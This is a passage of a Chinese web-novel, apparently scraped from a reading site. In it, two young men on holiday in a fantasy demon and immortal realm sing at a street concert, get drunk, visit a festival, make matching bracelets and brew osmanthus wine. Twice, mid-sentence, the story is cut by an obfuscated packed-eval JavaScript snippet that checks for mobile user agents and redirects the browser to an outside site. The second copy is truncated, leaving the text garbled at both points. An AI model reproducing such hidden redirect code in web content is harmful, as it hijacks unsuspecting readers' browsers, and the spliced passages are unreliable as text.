陆子溪支支吾吾半天拽过沙发上放着的运动套装外套给沈余舟穿上，拉链拉到最顶上：“下雨天冷，还熬夜了，如果寒气入体你就会生病。” 沈余舟用力把衣服领口往下拽，把拉链拉下一截露出锁骨：“屋里有温控，不冷，你不还是穿的浴袍。不会是我身材太好你嫉妒吧？” 像这种大反应的人，沈余舟就爱逗，伸出手指在陆子溪露出的胸肌上戳了一下：“你身材练的还不错啊，挺有弹性，不过和我比确实差点。” 陆子溪羞得脸通红，把浴袍拢紧，连连后退，回房换成长袖睡衣。 ———— 晚餐时间酒店送来的牛扒套餐味道过于奇怪，两人草草吃了两口就放下。 投影仪打开播着新一集动漫，沈余舟抱着膝盖蜷缩成一团，手里拿着中午买的草莓蛋糕一勺勺挖着吃。 直到预告自动循环播完两遍，陆子溪起身拉开窗帘。 窗外雨渐停，玻璃上的小水珠慢慢滑落，透出仅剩路灯点缀的街道。 “雨停了。”陆子溪说到。 沈余舟把蛋糕放在桌上，走过去打开阳台门：“妖界这个点很少有地方开着，咯，楼下的商铺都关门了。” “那要不要试试在夜晚的妖界兜风，没有目的地，逛到累了再回来。”陆子溪手心凭空多出车钥匙晃晃。 沈余舟拿过车钥匙，眼睛亮晶晶的：“你是不是早就想好了？” “那你想吗？” “现在就出发！” 两人以最快的速度换好衣服，出现在楼下的车里。 ———— 一路上漫无目的的开着，青鸟市夜空繁星璀璨，路上鲜少有路灯。 大多靠特殊植物自身散发的光亮照明，颜色各异，有些屋主会控制照明植物的生长趋势画成各种小图案。 夜晚是没开灵智的小动物的游乐园，往外望去，能看到人行道上出现了一只不合群独自赶路的小鹿。 小猫小狗跟在小鹿身后偷偷拌脚，被鹿发现快速逃走。 各种鸟类栖息在树屋上，凭借微弱亮光能看到毛绒小团子飞回各自的巢中。 车窗开着，轻柔的夜风吹入车里。沈余舟看着窗外景色跟着车载音乐小声哼唱，发丝随风而动，风却吹不散那自由的曲调。 一旁的陆子溪舍不得这刻拿出相机录下这一幕。 每到一个分叉路口两人就随便指一个方向继续前进。 汽车越开越远，逐渐驶入明日庆典狂欢的区域，各种妖族人化作特殊的半妖化，头是动物形态，下半身还是人类，拿着小灯往一个方向前进。 隐约听到那个方向传来声响，沈余舟跟着把头变成猫头，圆嘟嘟的银渐层猫头，肉粉色的鼻子上有一块黑色标志。 黄绿色的眼睛往那个方向瞧，用力竖起耳朵听路人用妖语说的话。 陆子溪看着沈余舟这副模样，想说些什么但又止住了。 猫头嘴巴一动一动，从里面传来人声：“他们说那边有人组织音乐活动，我们过去看看吧。” 你们妖族真的很诡异啊，陆子溪内心咆哮。 车暂时停靠在路边。 青鸟石像下方围绕着一群人，他们用阿卡贝拉的表演形式演唱，各个声部相互配合，在空旷的地方演唱有着独特的生命力。 听众们静静围绕在旁边，席地而坐，安静欣赏这场突如其来的音乐路演。旁边的夜宵店老板也搬了张椅子坐在外面静静听，有客人来才进去忙碌。 沈余舟变回人形拉着陆子溪的手随着人流在一个角落坐下。 乐团的两位女生走下来给群众派发着小灯，其中一位透过灯光看见沈余舟的脸凑过来小声问道：“你是那个主播虞舟是吧？居然能在这遇见你。” 虞舟是沈余舟起的艺名，没想到这里会遇到粉丝：“对。” “我以前天天看你直播，”女生回头和人声主唱对一个眼神，“我想邀请你待会当幸运观众上台唱歌。” “可以啊。但我没有试过阿卡贝拉，现场可能配合不好。”沈余舟回到。 女生摆摆手解释：“没事的，我们经常有抽取幸运观众的形式，我们会配合你的。” 女生把灯派发完毕，领着沈余舟到前面的一处空地里询问：“老师你待会有想唱的歌曲吗？其实我们有点想听《if》。” 《If》是沈余舟最近在短视频平台爆火的新歌，沈余舟想起来：“我还没有现场唱过，这次算是首唱了。” 女生牵着另一个女生的手蹦蹦跳跳：“那太荣幸了。” 一曲完毕，主唱招呼几人上台：“今天我们找了一个幸运观众，这位老师叫什么名字？” 沈余舟对着观众笑着回答：“我叫虞舟，是一名唱歌博主。” “哟，你这名字我可耳熟，我们那几个小姑娘可天天看你直播，对着手机就ififif，我们团都会唱了。今天我们就唱《if》，大家说好不好？” 主唱把手比在耳朵上听观众们的声音。 观众们应声说好，小灯套在手上摆手，看过去像点点繁星。 几个人磨合了一下节奏旋律，迅速调整，沈余舟比了OK的手势，全场安静下来。旁边做节奏鼓点的男生先行进入，旋律加入逐渐递进。 清亮有力量的人声开始歌唱，配合R&B曲调有种独有的暧昧氛围。歌声像在缓缓阐述一个故事，瞬间把人拉到场景里。 从前学生时代与暗恋的人在夜晚去小卖部只敢买上两只波子汽水，偷偷跑到江边吹着风，看着夜空上的星星，情到浓时只是牵手一小会也是无以言表的幸福。 “月光描绘着我们的轮廓 影子缠绵 我们的距离慢慢靠近 不用管谁来打扰 听我说IfIfIf 世界只剩下我们两个 和那些浪漫的景色 别逃避 我们的心无比相近 心动链接在一起” 台下有会唱的观众轻声跟唱，这首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382507|200202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌结束，有人起哄：“帅哥再来一首。” 观众们跟着一起齐声说。 沈余舟和角落的陆子溪对上眼神，发现陆子溪也在跟着喊话，特意用手指指向陆子溪的方向警告他。 主唱见氛围好和沈余舟商量着再唱一首耳熟能详的歌曲，又一首结束观众们终于肯让沈余舟下来。 ———— 两人坐久觉得肚子饿，但等到最后一首歌结束才愿意起身离开，走进附近的烧烤店点上几盆烤串和啤酒安慰今天晚餐受到伤害的舌头。 烧烤店内里支着几张小桌子，头顶的三叶扇慢悠悠晃着，外面吹进来夜风打散店内闷热。 烤串店老板在室外用炭炉炙烤着肉串，汁水流出，蹦出小火星发出滋啦啦的声响，烟雾顺着空气飘散，被烟雾笼罩住的顾客默默搬动桌子远离。 不到一会，烤串上桌。 服务员用开瓶器干脆利落开啤酒瓶盖，滋啦一声，白色啤酒泡沫流出，流出的酒服务员用布擦干净，瓶身迅速凝结出一层新的水珠。 夜晚一口冰啤酒配上烤肉串，简直是享受。 沈余舟最喜欢烤生蚝的口感，生蚝肉质鲜嫩，入口即化。蒜蓉和辣椒的搭配更加激发生蚝肉的鲜，生蚝壳里盛着的汁水也不想放过。 一口一个停不下嘴，一打生蚝大半是沈余舟吃的。 他们的位置能看到刚刚的乐团在结束后拿出展板和传单进行发放，上面印着慈善募捐的字样。 陆子溪一口辣串一口酒：“他们是慈善组织的？” 沈余舟点点头：“对啊，我刚刚核实过了，他们是帮助特殊妖族小孩的公益组织。他们本身也是特殊妖族，从小就在福利院长大，现在下班有时间就组乐团到处唱歌帮忙宣传。” 特殊妖族是指灵气缺失导致出生是动物形态很长时间才能化为人形的妖族，有些父母老去孩子仍是小动物便会把孩子送去福利院等待真正成人的那天。 特殊妖族短则一年化人，长则几十年，化人后寿命从有人的身躯起和人族一样。 大多数特殊妖族是刚出生确诊就被遗弃到福利院，导致妖界福利院数量在近些年逐渐增加。 沈余舟本身也是特殊妖族，被养父母在以前的仙妖族边界，如今多族混合居住地第六区的街上捡到带回家养，之前就知道这个组织，时不时会给他们捐钱希望能帮助更多小孩。 陆子溪听说过沈余舟的过往，很快把话题揭过：“我一直很好奇，你为什么会想去参加爱豆综艺，按理应该参加歌唱比赛才对啊？” 沈余舟给自己玻璃杯满上一杯啤酒：“我想先听你说你一个模特为什么想参加这个综艺？” “模特是一个吃青春饭的行业，我现在都被十六七岁新出头的新人说老该退了。艺人虽然也是青春饭，但能探索更多发展可能性，体验更多没有试过的东西。现在还年轻，有机会就想都试试。” 陆子溪眼里充满对未来的向往，无知无畏，无处不在说这就是青春的模样。 沈余舟被那眼神刺痛到，没忍住低下头苦笑一声，再加酒精作用下有些微醺，不自觉多说些：“你要这么说，我18岁第一次在短视频平台爆火的时候以为自己是明日之星。 “每天看着不断增长的粉丝数，梦想着有一天我要开万人演唱会，台下坐满我的粉丝。 “现在23岁看着歌曲爆火但每天直播不到五千的观看人数，还有不断打回的各个歌唱综艺面试和音乐节邀约。 “想着终于等到一个看上去触手可得的机会，只要有舞台，我相信我会抓住大家的目光。只是现在不知道这个舞台还要等多久。 “再等下去，我就真的要回家继承家业咯。” 陆子溪觉得今天自己就不该长嘴，句句踩雷，只敢一杯杯给自己灌酒堵住不断出错的嘴。 沈余舟见陆子溪喜欢喝啤酒，叫老板再加几瓶。 5. 硬币 陆子溪起床发现自己睡在酒店房间地上，完全没有昨晚吃完夜宵的记忆。 掀开睡衣，手臂上小腿上青一块紫一块，有些地方还蹭着灰尘没有洗干净，赶忙起床找沈余舟询问到底发生了什么。 沈余舟刚起床并不想回忆昨晚的囧事，耐不住陆子溪一直问，反正丢大脸的也不是他本人，便一五一十的把所有事情说出来。 前一天晚上陆子溪只喝了一瓶半啤酒就晕乎乎躺桌子上，沈余舟秉着不浪费的原则把剩下的啤酒喝完赶忙结账带人回去。 沈余舟一碰陆子溪，陆子溪抽风猛得站起开始唱歌。沈余舟堵嘴都来不及，结果这人跟碰瓷般在地上躺下，怎么叫都不动。 服务员见过的醉汉可多，这个还不算特别奇葩，两人合力把陆子溪抬上车才算没继续大闹烧烤店。 人倒霉的时候喝凉水都塞牙这句话不是开玩笑的，因为庆典前夜聚集人数多，沈余舟在代驾平台排队了足足一个多小时才有人接单。 代驾一到，陆子溪鲤鱼打挺撞上车顶灯，哭一路不止，还边哭边说：“我毁容了，我不要变丑。” 一句话反反复复说，哭累了就躺下睡着。 到这沈余舟以为算是结束了，没想到，这只是开始。 一晚上历经小推车送醉酒鬼回家，醉酒鬼乱动滚落地无数次，进门就躺不起身。 沈余舟帮忙换衣服擦身体，换来一声流氓还在混乱中被打几巴掌。 给喂吃解酒药，可陆子溪边哭边闹非说是下毒。 沈余舟躺下不到一会，就听见某人在房间一会抓蝴蝶一会躺地上当毛毛虫，撞得房间物品东倒西歪，蹲着墙角说：“我这张美丽的脸就是最鲜艳的牡丹花。” 好不容易把人折腾睡了，梦里沈余舟被无数个醉酒状态的陆子溪追，非要他一起抓蝴蝶。 ———— 清醒的陆子溪根本不敢听，把头缩在沙发里拿着抱枕捂着耳朵。 沈余舟也算开眼了，他以前送过的那么多醉酒鬼里这个最能折腾，让这人醉酒后去大闹天宫，孙悟空都得来取取经。 沈余舟用力一拍陆子溪撅着的屁股：“没事，下次别喝这么多了，否则你醉了服务员运一个你得多折腾。” 陆子溪捂着屁股立刻弹起坐好，另一只手放在膝盖上，腰板挺直：“以前也喝醉过好几回，没钱在酒吧当调酒师，刚学时常喝醉。有人和我说过我酒品不好，原来是非常不好。” “嗯呢。”沈余舟非常赞同，眼珠子一转使坏凑到陆子溪耳边接着添油加醋讲昨晚的事。 陆子溪捂着耳朵连忙躲避回房间，借换衣服梳妆打扮的名义把这只坏猫赶走。 经过这几天相处沈余舟发现一件事，无论什么时候陆子溪出门就会化妆，陆子溪会对化妆痴迷这件事勾起沈余舟的好奇心。 沈余舟是憋不住事的，想知道什么就会主动出击，装作不经意溜达进陆子溪的房间，说话间手上还不老实地扒拉桌上的化妆刷：“我很好奇，为什么你会喜欢化妆？” 陆子溪放下粉饼，转过来和坐在化妆桌上的沈余舟对视，顺手将快滚落下地的化妆刷放到化妆袋里：“第一次学化妆，是因为上镜要求，新人被排挤没有化妆师就要自己动手。 “现在出门化妆是为了每一刻都是我自己很喜欢的完美状态，带的妆更多是从搭配尝试出发。 “你会觉得奇怪吗？” “一开始我可能会不了解化妆的意义，”沈余舟把陆子溪的脸掰过与镜子里的他们对视，“听完你说，好像是一件出门下雨就带伞的小事。好啦，现在我们两个会打扮的大帅哥出门，只要你觉得舒适就好，你这张比牡丹娇艳的脸施不施粉黛都美得不可方物。” 陆子溪伸手捂住沈余舟的嘴：“你不要再提昨晚的事，你已经全部忘掉。” 沈余舟双手举过头顶做出投降的姿势，陆子溪松开手。沈余舟一溜烟跑出去，又特意返回来做个鬼脸：“我就说。” 陆子溪抄起旁边的抱枕就往沈余舟扔过去，抱枕稳稳落地，另一个早就跑到不见人影。 陆子溪气到无语，发出一声“呵”，接着笑出声。 ———— 今天盛典开幕式，沿街铺子挂上各式彩带，门口挂上风铃。各种小摊贩进入盛典区域摆摊，也跟着挂上风铃，风吹过，叮叮当当，清脆声响宛如大自然的演奏会。 巨大的青鸟雕像脖子被围上一圈布，作为青鸟的围巾。 小鸟一起被妆点，飞在空中的小鹦鹉带上彩色头冠。 屋檐上站着的那群小鸟脖子上有不同款式的围脖，挤出来的羽毛像是凭空多了一圈双下巴。 庆典入口有工作人员派发手环和围巾，凭借门票领取。 陆子溪和沈余舟弯腰让工作人员戴上围巾，工作人员用妖语说出祝福的话语：“这个围巾是我们青鸟市福利院的孩子们用特殊树汁扎染，给返乡的家人与外来的客人制作的祝福。希望你们幸福，健康。” 派发手坏的是一位老爷爷，听本地人说从好多年前这个老爷爷就在这里派手环解答困惑。 老爷爷给两人带上手环：“祝两位朋友今天玩得开心，希望你们都能找到你们想要的东西，这是手环手册，不懂可以回来找我。” “好，谢谢爷爷。” 沈余舟举着手观察手环，木质开口手环上面写满密密麻麻的符文，触碰符文时会发出细小光芒。 许愿池附近围着许多人，他们投下硬币许愿，又匆匆离开，换了一批又一批人。 沈余舟找附近商户换了两枚妖族传统硬币：“他们说这个投下去，愿望一定能实现。你有什么想许的愿望吗？” 陆子溪把硬币放在手心双手合十：“愿望说出来就不灵了。” “那我也不告诉你。” 沈余舟闭眼许下愿望，希望能登上大舞台，唱自己想唱的歌，要是可以想和陆子溪有一个合作舞台。 许愿池接受到愿望，硬币抛出弧度稳稳掉在乌龟雕塑的背上。 陆子溪睁开一只眼睛看向沈余舟，正好对上沈余舟探究的目光：“你这么快就许完了？” 沈余舟模仿陆子溪许愿的样子：“许愿神听你嘀嘀咕咕这么多，哪里记得住，要会省略剩下重点。” 陆子溪怔愣片刻，不知在想什么。 几秒后重新和许愿神说自己的愿望，抛出愿望硬币。 扑通。 这次硬币落在龟背上，水波流动，竟滑落到水池底。 沈余舟在一旁火上浇油：“许愿池被你嘀咕烦咯。” 陆子溪作势要打，快步追上沈余舟的步伐：“你真的很气人。” 路过小摊，风铃清脆作响。 两人嬉笑打闹一路，顺着人流往祭坛方向前进。路边摆满鲜花，彩色花瓣迎风摆动，蜜蜂穿梭花丛中。 大鼓锤捶向鼓面，咚，咚，咚，路人知晓庆典开启，自动往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“找不到孩子的家人会将血录入在树神牌匾上，如果孩子带上手环且参加了赐福仪式手坏上会有一圈白色的痕迹，证明你的家人在想念你寻找你。 “慕名前来滴血的人太多，加上这个项目因为负责人原因早在五年前就停止了。现在每年都会有那么一两个人出现小环过来登记但是寻亲进展缓慢。 “这样，你先写下你与家人失散的时间与联系方式，把血滴入这个寻亲石，若是你的家人收到信息回来这里，石头就会有感应。” 沈余舟失去再早些的记忆，从现在的父母那里知晓是三十年前在现在的第六区以前的仙妖两族边界被捡到的。 那时已经重伤昏迷，在医院治疗几年才逐渐好转，二十三年前正式化为人形。 这么多年，有血缘关系的家人竟然还在寻找他。 登记后，沈余舟打电话回家给爸妈，是妈妈沈景瑶接的电话：“崽崽怎么突然打电话了？” “妈，”听到妈妈的声音一瞬间沈余舟有些哽咽，“我找到我亲生父母的线索了。” 沈景瑶在电话另一头让下属先出去：“你现在在哪？不哭啊乖。” 沈余舟把全部事情地点以及和谁一起通通说出来，沈景瑶就静静地听着。 听完后沈景瑶安慰道：“崽崽你先开开心心去玩吧，这么多年过去，找到了妈妈和你一起去，不用担心。和朋友一起钱够不够花，我待会让助理给你打点钱。” 母子两人寒暄几句，沈景瑶挂断电话后把所有工作推迟，去另一个办公室里拽起余寒回家商议。 6. 手镯 路边人潮涌动，两人站在马路牙子上，陆子溪伸出双手：“要抱吗？” 沈余舟深吸一口气整理情绪，挥挥手表示不用：“待会我们去哪？” 陆子溪收回手拽衣角，翻找出之前的旅行计划查看：“按照今天的计划应该是看完逛逛就回去，不过昨天原先要去的首饰博物馆今天还开着，我们现在过去还赶得上。” 两人决定还是去看看这个网红打卡点看看。 ———— 人，全是人。 门口标志建筑旁围满人拍照，博物馆内能看的东西只有很少，刚进去两人这挤挤那挤挤就硬生生跟着人流出来，门票一人一百多算是纯浪费钱了。 一看时间过去不到二十分钟，沈余舟坐在树下大口呼吸着新鲜空气：“这种网红景点我再也不来了。附近还有其它好玩的吗？” 陆子溪打开手环智能屏在团点评搜索评分高的玩乐：“附近有家DIY工坊能消磨时间。” 沈余舟看着智能屏问：“有团购吗？” 陆子溪诧异：“你们富二代还会用团购？” 沈余舟上下扫视陆子溪全身，眼神透露出浓浓的无语：“我是富二代，不是傻子，点外卖也是会用膨胀神劵的。” 虽然是富二代，可沈余舟家是近十年才算白手起家成功的公司。 家里人为了让他有自理能力想出一套奇葩的教育计划，导致沈余舟度过了个没钱且混乱的大学时期，想起来都觉得好笑。 ———— DIY工坊就在博物馆对面的居民楼二层，这些小店开在居民楼里很常见，楼下会有指示牌指引。 打开精致的白色木门，门铃响起叮咚声。 里面穿着围裙的女生迎上来：“两位有预约吗？你们是情侣吗？是的话可以用情侣团购。” 女生眼神流连在两人身上，嘴角忍不住的上扬。 今天陆子溪为了遮额头上的淤伤扎高马尾戴了发带，配合搭配换上藏青色连帽卫衣。 正好和沈余舟穿的藏青色卫衣撞色，两个人同色不同款，出门时完全没有留意到。 手上的赐福手环还没有摘除，确实很容易让人误会成是情侣手环。 陆子溪想解释，沈余舟一把揽过他的肩膀顺着女生的话说下去：“对啊，我们两个是情侣。” 说完还对着陆子溪笑一下。 陆子溪呆滞好几秒没反应过来。 女生带他们参观DIY成品款式区，沈余舟一眼相中放在中间位的手镯，经典莫比乌斯环扭丝手镯，一圈亮面一圈印上细小的花瓣纹。 陆子溪凑过来问道：“你喜欢这个吗？” 沈余舟给予肯定答复。 两个人选择同样的莫比乌斯环款式制作，女生提前说明制作时间会很长，并交代老师来带他们两个。 店主养着一只胖胖的大萨摩耶，在老师介绍正式制作要用到的工具时总绕到他们身边拿脑袋拱他们两个，把两个人距离拱近了就安心躺一旁。 怪不得小狗的脖子上挂着爱情守护官的小牌子。 沈余舟很喜欢这只萨摩耶，放下工具抓着萨摩耶的脑袋使劲揉-搓。萨摩耶张大嘴巴吐-出舌头，沈余舟也跟着萨摩耶笑起来，眼睛眯成一条小缝。 陆子溪很想上手摸-摸另一只小白毛的头，看看是不是一样好摸。 ———— 一整个下午都在工坊耗过去，窗外景色从阳光明媚到昏暗，萨摩耶早仰躺在地上睡得四仰八叉。 锤动地声音叮叮咚咚，沈余舟率先完成主体部分，老师查验后：“做得很棒，是熟手吧？你看内环要不要刻字或者盖印，不用的话我们就进行收口步骤。” 沈余舟在印章区挑了小猫头印章盖好放一边，陆子溪以为是其中一步看了眼沈余舟的做法拿起印章在同一个地方盖上。 沈余舟抬头看到立马解释：“这个是区别的盖印，不是原有的花纹。” 陆子溪拿起印章，手镯上明晃晃的小猫盖印：“已经盖上了，我再刻个字吧。” 最后为了区分手镯，沈余舟那只刻了首字母S，陆子溪刻L。 沈余舟对手镯爱不释手还没出门就戴上了。 女生把两人的收纳盒放在同一个袋子里：“这个手镯材料可以沾水，平常可以一直带着。这边方便给你们做的手镯拍一个反馈照吗？” 陆子溪把手镯取出来戴上：“我没问题。” 女生拿起拍立得对着两人的手拍下，特地打印两张一张作展示一张给客人纪念：“两位帅哥的手都这么好看，祝两位幸福美满，早日结婚。” 沈余舟接过照片还不忘说声谢谢，不提就忘了装情侣这一茬了。一旁的陆子溪满脑子早日结婚，傻傻地跟在沈余舟身后，沈余舟说啥他就做啥。 留在妖界这三天两人把计划上的地点跑了个遍，再也不相信所谓的网红景点攻略。 ———— 下一个目的地是仙界天宫外围旧址，仙界最大的环境特点在它环绕在地面上类似云层的雾状物，走一步散开一步，宛如在云上飘地行走体验。 沈余舟突然往前一跳，脚底下雾围绕在脚边，双脚合并快速向前行走，雾依旧乖乖给他让开道路。 小猫一蹦一跳玩雾，从不怕把自己绕晕。 沈余舟三步并一步到陆子溪跟前摘下陆子溪的黑墨镜：“怎么给自己盖严严实实的？不舒服吗？” 陆子溪夺回眼镜戴上，墨镜下的眼睛一直在观察附近：“事情比较复杂，总之我不想给人认出来。” “噢。” 沈余舟脸颊鼓起，眼睛不自觉往陆子溪身上瞟，任谁看这样子都知他有很多问题想问。 陆子溪领着沈余舟穿越各种小巷，来到一座庭院的后门，熟练拿钥匙开门，两人一进入迅速关上门。 这时陆子溪才放松下来长叹一口气，把眼镜口罩摘下：“这是我度假用的小院，管家已经打扫过可以直接入住。” 这座庭院后门正对一-大片竹林，分割开的另一边养着一片果树，中间蜿蜒着鹅卵石路。 走到尽头是一条长廊，房间彩窗在阳光映照下折射出彩光，光泽打在经过的人身上像不停变换的胶片滤镜。 穿过长廊能看到院子正前方有大片池塘，锦鲤在其中游动。 沈余舟觉着好玩伸手逗那群锦鲤，鱼群跟随他手摆动的方向聚集，越聚越多，挤得一条锦鲤跃出水面再砸回池塘里。 陆子溪手疾眼快提早拉开沈余舟，才没让沈余舟溅一身水。 跨过门槛映入眼帘的是有房子一般高的八扇黑漆螺钿屏风，凑近能看到边角里踩着祥云凑热闹的仙人神态各异，有说有笑。 各种稀世珍宝随意放置在桌子上当摆件，足以证明房主是何等富有。 就只谈那黑漆螺钿屏风，沈余舟自己家有块类似的但精致程度与面积不如这块的十分之一。 沈余舟那块已是天文数字，这个屏风的价值更不敢细想。 陆子溪按照管家留下 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小坏猫一个不留意笑出声：“那我岂不是要叫声你陆爷爷。” 陆子溪气羞得把茶杯往桌上放发出哐当声：“八百岁换算成人类年龄才十八、十九岁。” 沈余舟脑子里重新脑补出一个豆丁大的陆子溪举着比自己高几倍的长枪跟妖族对抗，站在士兵里都怕隔壁不小心一脚踩碎他。 宽大的战袍穿着不合适拖出一里地，打架前要先喊我在这，对面才能看见他。 不行了，怎么这么好笑。 陆子溪懒得细究这妖脑子里都装些什么，拿过行李箱拍拍沈余舟的手臂示意跟上。 两人来到果林旁的房间，陆子溪打开右边的房门，里面装扮素雅多用青白两色。 地上一半铺上毛地毯连接到大床位置，床边脚踏位置用上软布包裹，床边挂着的安神香囊还有淡淡中药香气。 地上放着两个镂空大球里面放上铃铛，轻轻触碰滚动，发出叮当声。 书桌面上放置几本武术书籍与文房四宝，旁边刀剑架上没有任何东西，应当是给这个房间前任住客摆放武器的。 陆子溪打开窗户通风，风从外面吹进房内带来淡淡果香。 陆子溪把沈余舟的行李放好：“这里以前是我的贴身护卫居住，隔壁是我的房间。这个房间是剩余房间里最大的，你先将就几天。” 沈余舟拨弄着地上球玩：“你对你贴身护卫真好。” 陆子溪根本不知道那个贴身护卫是谁：“大概吧。” 球咕噜噜滚进书桌底，沈余舟手不够长，趴在地上拿出来时不知撞到什么按钮竟然成功打开书桌底的暗格。 暗格里掉出一幅画与两个白玉球，白玉球尾部还挂着铃铛。 沈余舟猜测这个护卫应该是养了一只大型猫科动物，这个房间放着许多给猫解闷的玩具，连这个白玉球款式都像自己家里的猫玩具。 画作打开，上面画着一个穿着淡粉色衣袍只露出半个侧脸的男子，头发随意用一只透明簪子束起，手里拿着桃花扇轻轻扇风，旁边写着“只愿你岁岁安康”。 沈余舟仔细瞧，那画作上的男子不是陆子溪吗？ 结合发现这副画的地点，沈余舟莫名替这个护卫心虚，在陆子溪过来前藏好这副画作，慌忙间把白玉球藏进外套口袋，装作什么事都没发生。 沈余舟擦擦额头上并不存在的汗，看来今天也是做好人好事的一天呢。 7. 酒香 陆子溪探究看向书桌底。 沈余舟跨一步挡住书桌努力岔开话题转移注意力：“你还没说为什么会仙界要挡住自己脸这事呢。” 陆子溪收回视线：“我有个挺好的朋友，每次我回来都被他堵着酿酒。他总会出现在各种地方，这次回来躲着点他，尽量不让他知道我回来过。” 沈余舟点点头表示理解，肚子咕噜叫，闹一早上到现在还没有吃上午饭。 ———— 仙界饭店基本上是中餐，服务员端上一条清蒸鱼，沈余舟迫不及待夹一块鱼肉还有葱丝放入碗中吃起来。 不愧是仙界最出名的饭店宴雨楼，鱼肉白净嫩滑，吃得出的新鲜。 根据不愿透露姓名的本地人陆某推荐，宴雨楼二楼是最佳观赏花材巡游的位置。 每次花神换届比拼，赛后展示必经之路就是宴雨楼下那条大街。基本上宴雨楼的位置早早就全部预订出去，这次也是好运竟然预约到靠大街的小房间。 陆子溪倚靠在窗边向下望去给沈余舟解说：“明天才是花神正式角逐，今天上午大家端出来展示的花有所保留，呐，你看今天甚至有人端盆黑漆马虎的草。” 沈余舟看向那盆看着就黏糊糊不好吃也没有观赏性的草，吓得赶忙再扒拉两口米饭。 陆子溪看向队伍中间部分：“看得到中间那几位外国天使吗？他们是交换生，这次带上他们应该是为了展示两边交好。” 这次巡游展示的花材品相不算上佳，再加大家只是热身，花材数量稀少，不到一会就看完了。 陆子溪只挑几株看得过眼的简单解说。 沈余舟对巡游兴致缺缺，倒是饭菜很和胃口，拌着菜吃了两碗大米饭。陆子溪拿着公勺把鱼肉刮干净放在一旁，方便沈余舟等会吃。 沈余舟作为非常好养活的一只猫，桌上的青菜和鱼都吃得干干净净，一点不挑食。 饭店房间的门突然被打开，进来一个男人。 这人身上萦绕着淡淡茉莉花香，穿着简单的白T恤牛仔裤，长发盘起简单插上一朵茉莉花，手上拿着个酒壶晃悠，眼神清明，不像喝醉酒走错的。 这人看清陆子溪对面还坐着沈余舟后说出一句：“闹鬼了，陆子溪你都把人带回来了！” 这人特别自来熟，自己拿张椅子坐到沈余舟身边试图搭讪。 “是朋友。怎么你这都能找过来？”陆子溪头疼，这个人还是这么轻浮不正经。 陆子溪向沈余舟介绍：“这是花神之一，对应辰时的花神季允川，平时在结界区内不出来。就是我之前跟你提到的朋友。” 陆子溪特意加重朋友两字。 结界区住着管理重要事物的仙人，寿命不受灵气泄露影响，每次进出要求报备审核，如果不是花神选举季允川很难出来。 季允川随意哼哼两声回应，托腮看着沈余舟：“小陆陆，你这位可爱的朋友叫什么名字？” 沈余舟伸出手：“你好，我叫沈余舟。” 季允川变出一大束花放入沈余舟怀里，随手施法变出一个猫咪玩偶放在花束中，牵起沈余舟的手：“这位小可爱，介意交个朋友吗？” 陆子溪用力猛踹一脚：“你年纪都能当他祖先太爷爷的仙，正经点。” 季允川用一只手指向陆子溪，一只手揉被踹狠的地方：“小陆陆，你见过一千岁的仙爷爷吗？要不你给我叫一声我听听，我正好缺一个孙子。” 陆子溪把季允川面前的茶杯水倒掉倒扣在桌面上：“我们是回来旅游的，有事就说事。” 季允川切一声，凭空变出大袋干桂花放在桌面上推到陆子溪面前：“你懂的，放老地方我到时候自己取，后面的步骤我会，报酬打你卡上。” “我没有那么多时间，能做多少算多少。”陆子溪算是答应下来了。 季允川拿着酒壶站起身离开：“都行，对了，小可爱我的联系方式放在了花里，记得加我噢。” 沈余舟在花里翻找到一张名片：“好。” ———— 接单后两人去市场买了□□糖和糯米回家。 陆子溪脱下外套放在厨房外的架子上，挽起袖子准备处理糯米，沈余舟凑在身边要跟着学习。 陆子溪索性搬了张小板凳放在厨房外面，让沈余舟坐在那，右手放着干桂花，左手放小桶，面前放着一个竹簸箕，挑好的干挂花就放簸箕里。 陆子溪把厨房窗户支开，往外看去能看见缩成一团的身影，沈余舟每抓一把都会凑到眼前仔细挑选。 各种工具材料被找出来放到厨房里，陆子溪见沈余舟挑的差不多，便把竹簸箕搬到厨房。沈余舟跟在身后拿着他的专属小板凳。 陆子溪放着两个酒罐在地上，示意沈余舟坐在酒罐旁边：“先抓干桂花垫底，不用放太多，再放上冰糖。” 沈余舟放好后把罐子倾斜一点给陆子溪看，眨巴眼睛：“是这样吗？” “对。” 陆子溪搬来几坛酒，打开封口。沈余舟闻到浓厚的酒香，把头凑过去看，酒罐上面用毛笔字写着花酿专用。 陆子溪把酒倒进刚刚铺好底的酒罐里，沈余舟也跟着一起。 简单的桂花酒前面的步骤就做好了，封口存放，等待一个月过滤掉干桂花就能喝了。 沈余舟伸手碰装着糯米的木桶：“这个是干什么的？” 陆子溪用手查看糯米状态，能搓成粉状就把水倒掉：“这个用来做桂花米酒。” 糯米均匀铺在蒸笼上蒸，陆子溪搬来小板凳给自己坐，点燃柴火，拿着蒲扇轻轻扇控制火候。 蒸笼里窜出烟雾，飘出窗外。 沈余舟拿起另一把蒲扇给大厨陆子溪扇风，陆子溪拿过扇子给沈余舟也扇扇，风力太大，沈余舟连连躲闪抢回蒲扇使用权。 窗外太阳逐渐落下，电流声滋啦点亮厨房的灯。 柴火的热气传到身上暖烘烘，沈余舟问道：“你的花神朋友经常找你做桂花酿吗？” 陆子溪摇摇头：“不是，一般他有什么就拿什么。” 沈余舟回忆起今天那位新朋友的第一感觉：“他应该对你很好吧。” 柴火传来噼里啪啦声，两人往后仰躲开弹出的火星。 陆子溪点头：“以前上学没钱，他知道后就开始给我发信息说要找我买酒，实际给我卡上打比那几罐酒价值多得多的钱。 “他是结界区里的，每次去第六区和我接触后都要想办法隐瞒，还要打报告被检查。次数太多总 